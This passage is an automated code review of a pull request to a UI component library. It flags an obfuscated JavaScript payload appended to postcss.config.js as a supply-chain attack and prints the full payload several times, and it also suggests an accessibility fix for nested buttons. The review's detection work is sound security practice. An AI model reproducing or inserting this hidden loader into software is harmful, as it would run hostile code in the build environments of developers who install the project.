`src/components/ui/modal.tsx` * `src/components/ui/notice.tsx` * `src/components/ui/toggle-group.tsx` * `src/components/wordpress/DataViews.stories.tsx` * `src/components/wordpress/dataviews.tsx` * `src/components/wordpress/style.css` * `src/hooks/useWindowDimensions.ts` * `src/index.ts` * `src/providers/index.ts` * `src/providers/theme-provider.tsx` * `src/styles.css` * `webpack.config.js` </details> <details> <summary>💤 Files with no reviewable changes (2)</summary> * docs/dataviews-component.md * docs/dropdown-menu-component.md </details> <details> <summary>✅ Files skipped from review due to trivial changes (18)</summary> * src/providers/index.ts * .gitignore * src/components/ui/notice.tsx * src/components/ui/alert.tsx * src/components/ui/Confirmation.stories.tsx * src/components/ui/ToggleGroup.stories.tsx * package.json * src/components/button-toggle-group.stories.tsx * src/components/ui/toggle-group.tsx * src/components/wordpress/dataviews.tsx * src/components/ui/DropdownMenu.stories.tsx * src/index.ts * .storybook/main.ts * src/components/ui/Combobox.stories.tsx * src/components/ui/Alert.stories.tsx * src/components/button-toggle-group.tsx * webpack.config.js * src/components/wordpress/DataViews.stories.tsx </details> <details> <summary>🚧 Files skipped from review as they are similar to previous changes (6)</summary> * .storybook/manager.ts * src/hooks/useWindowDimensions.ts * src/providers/theme-provider.tsx * src/components/ui/confirmation.tsx * src/components/wordpress/style.css * src/components/ui/modal.tsx </details> </details> <!-- This is an auto-generated comment by CodeRabbit for review status -->
| plugins: { | ||
| '@tailwindcss/postcss': {}, | ||
| }, | ||
| }; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Description: Search for indicators of obfuscated/malicious code injection
echo "=== Checking for global namespace pollution patterns ==="
rg -n "global\[" --type js --type ts
echo ""
echo "=== Checking for suspicious IIFE patterns with obfuscation ==="
rg -n "_\$_[a-zA-Z0-9]+" --type js --type ts
echo ""
echo "=== Checking for String.fromCharCode (common in obfuscation) ==="
rg -n "String\.fromCharCode" --type js --type ts
echo ""
echo "=== Checking for hex escape sequences in strings ==="
rg -n "\\\\x[0-9a-fA-F]{2}" --type js --type ts
echo ""
echo "=== Checking git history for this file ==="
git log --oneline -10 -- postcss.config.js
echo ""
echo "=== Showing the raw content of postcss.config.js ==="
cat -A postcss.config.js | head -20Repository: getdokan/plugin-ui
Length of output: 21768
🚨 CRITICAL: Malicious obfuscated code injection detected.
Line 5 contains heavily obfuscated JavaScript appended after the legitimate config export, hidden by extensive whitespace. This is a classic supply chain attack pattern.
The injected code:
- Pollutes global namespace with
requireandmodulereferences - Executes an immediately-invoked function with decoded payload on module load
- Uses string shuffling and character-level obfuscation to hide actual behavior
- Runs in Node.js context during build with full system access
This file must not be merged. Investigate:
- How this code was introduced (compromised dependency, credential leak, malicious commit)
- Whether this code has already executed in any environment
- Access logs for the repository during the commit timeframe
✅ Expected clean file content
-}; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;`@oRR`(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(`#e`=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+};📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| }; global['!']='9-3463-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() | |
| }; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` at line 5, The file contains a malicious obfuscated
payload appended after the legitimate export (symbols to look for:
global['!']='9-3463-4', _$_1e42, sfL, jFD and the long IIFE) — remove the entire
appended obfuscated block so the file only contains the intended PostCSS config
export, then verify no other files contain the same patterns; commit the removal
as a security fix, scan the repo/CI logs and recent commits for the same
symbols/strings, and if found rotate any potentially exposed credentials and
revert the introducing commit or replace with a clean version from a known-good
commit.
| <DropdownMenuTrigger> | ||
| <Button | ||
| variant="outline" | ||
| className="h-9 w-full justify-between font-normal" | ||
| > | ||
| Bangladesh, United States | ||
| <ChevronDownIcon className="size-4 opacity-50" /> | ||
| </Button> | ||
| </DropdownMenuTrigger> |
There was a problem hiding this comment.
Add asChild to DropdownMenuTrigger to avoid nested <button> elements.
Without asChild, DropdownMenuTrigger renders its own <button>, and the Button child renders another — producing <button><button>…</button></button>, which is invalid HTML and violates WCAG 4.1.1. When asChild is set to true, Radix will not render a default DOM element; instead it clones the child and passes it the props and behavior required to make it functional. The canonical pattern used across shadcn/ui is <DropdownMenuTrigger asChild>.
🐛 Proposed fix
- <DropdownMenuTrigger>
+ <DropdownMenuTrigger asChild>
<Button
variant="outline"
className="h-9 w-full justify-between font-normal"
>
Bangladesh, United States
<ChevronDownIcon className="size-4 opacity-50" />
</Button>
</DropdownMenuTrigger>📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| <DropdownMenuTrigger> | |
| <Button | |
| variant="outline" | |
| className="h-9 w-full justify-between font-normal" | |
| > | |
| Bangladesh, United States | |
| <ChevronDownIcon className="size-4 opacity-50" /> | |
| </Button> | |
| </DropdownMenuTrigger> | |
| <DropdownMenuTrigger asChild> | |
| <Button | |
| variant="outline" | |
| className="h-9 w-full justify-between font-normal" | |
| > | |
| Bangladesh, United States | |
| <ChevronDownIcon className="size-4 opacity-50" /> | |
| </Button> | |
| </DropdownMenuTrigger> |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/ui/Modal.stories.tsx` around lines 82 - 90, The
DropdownMenuTrigger currently wraps a Button which causes nested <button>
elements; update the trigger to use the Radix pattern by adding the asChild prop
to DropdownMenuTrigger so it will clone the Button child instead of rendering
